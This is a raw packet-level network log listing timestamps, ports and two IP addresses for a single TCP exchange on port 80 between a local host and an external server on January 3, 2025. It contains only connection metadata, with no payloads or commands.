Jan 3, 2025 15:21:29.352646112 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.352658033 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.352695942 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.352720976 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.352731943 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.352741957 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.352751970 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.352766037 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.352771044 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.352771044 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.352776051 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.352788925 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.352791071 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.352798939 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.352817059 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.352838039 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.353595972 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.374979973 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.375011921 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.375030041 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.375030041 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.375042915 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.375052929 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.375065088 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.375077963 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.375089884 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.375104904 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.375108957 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.375118971 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.375125885 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.375133038 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.375149965 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.375159025 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.375176907 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.375189066 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.375193119 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.375199080 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.375210047 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.375222921 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.375233889 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.375245094 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.375251055 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.375276089 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.375292063 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.375308990 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.375329018 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.375339985 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.375344992 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.375350952 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.375360012 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.375377893 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.375380039 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.375391006 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.375397921 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.375431061 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.385684013 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.385737896 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.385751963 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.385773897 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.385777950 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.385791063 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.385802984 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.385811090 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.385814905 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.385838032 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.385843039 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.385862112 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.385874033 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.385885000 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.385885000 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.385896921 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.385907888 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.385910034 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.385919094 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.385931969 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.385937929 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.385978937 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.386013985 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.386024952 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.386034966 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.386053085 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.386069059 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.386080027 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.386080027 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.386092901 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.386105061 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.386120081 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.386131048 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.386143923 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.386154890 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.386156082 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.386169910 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.386173964 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.386205912 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.386212111 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.386219025 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.386229992 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.386240005 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.386251926 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.386254072 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.386264086 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.386271954 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.386296988 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.386298895 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.386311054 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.386322021 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.386332035 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.386338949 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.386351109 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.386363983 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.386372089 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.386399984 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.386461973 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.386480093 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.386492014 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.386502981 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.386522055 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.386533976 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.386544943 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.386545897 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.386558056 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.386569977 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.386584997 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.386605024 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.386611938 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.386616945 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.386631966 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.386646032 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.386650085 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.386658907 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.386670113 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.386682987 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.386691093 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.386715889 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.417574883 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.432404041 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.446360111 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.446378946 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.446392059 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.446434975 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.446507931 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.446520090 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.446552992 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.446563005 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.446564913 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.446577072 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.446588993 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.446598053 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.446600914 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.446609020 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.446610928 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.446623087 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.446636915 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.446638107 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.446656942 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.446674109 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.446685076 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.446697950 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.446710110 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.446722031 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.446723938 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.446734905 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.446747065 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.446748972 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.446758032 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.446763992 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.446770906 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.446784019 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.446789980 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.446815014 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.446818113 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.446829081 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.446841955 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.446858883 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.446873903 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.446886063 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.446886063 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.446899891 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.446919918 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.446923971 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.446934938 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.446945906 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.446957111 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.446960926 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.446974993 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.446983099 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.446985006 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.446989059 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.447004080 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.447010994 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.447017908 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.447027922 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.447029114 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.447041035 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.447062969 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.447084904 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.466042995 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.466093063 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.466104984 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.466116905 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.466157913 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.466208935 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.466221094 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.466232061 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.466249943 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.466264009 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.466274977 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.466285944 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.466295958 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.466306925 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.466309071 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.466319084 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.466327906 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.466334105 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.466341019 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.466352940 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.466361046 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.466372967 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.466379881 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.466394901 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.466401100 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.466411114 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.466435909 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.466439009 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.466450930 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.466461897 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.466480970 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.466487885 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.466506004 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.466510057 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.466522932 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.466546059 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.476598024 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.476613998 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.476648092 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.476650000 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.476661921 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.476674080 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.476699114 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.476713896 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.476728916 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.476733923 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.476752043 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.476767063 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.476790905 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.476809025 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.476820946 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.476826906 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.476831913 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.476851940 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.476855040 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.476886988 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.476897955 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.476907969 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.476917982 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.476922989 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.476931095 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.476939917 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.476946115 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.476958990 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.476977110 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.476982117 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.476991892 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.477000952 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.477011919 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.477022886 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.477025986 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.477035046 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.477042913 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.477046967 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.477056026 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.477066040 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.477066994 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.477078915 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.477098942 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.477102995 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.477111101 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.477119923 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.477123022 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.477137089 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.477143049 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.477148056 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.477159023 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.477170944 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.477185965 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.477210999 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.477217913 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.477227926 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.477240086 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.477264881 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.477267981 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.477283001 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.477292061 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.477303028 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.477313042 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.477324009 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.477332115 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.477333069 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.477344990 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.477353096 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.477371931 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.477426052 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.477448940 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.477461100 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.477473974 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.477492094 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.477509022 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.477510929 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.477518082 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.477528095 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.477540016 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.477540016 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.477555037 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.477565050 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.477566957 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.477576017 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.477581978 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.477586985 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.477596998 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.477608919 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.477610111 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.477622032 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.532954931 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.539992094 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.540008068 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.540019989 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.540030956 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.540041924 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.540052891 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.540065050 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.540096998 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.540107965 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.540121078 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.540132046 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.540143967 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.540154934 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.540167093 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.540168047 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.540179014 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.540190935 CET	49829	80	192.168.2.6	185.215.113.16
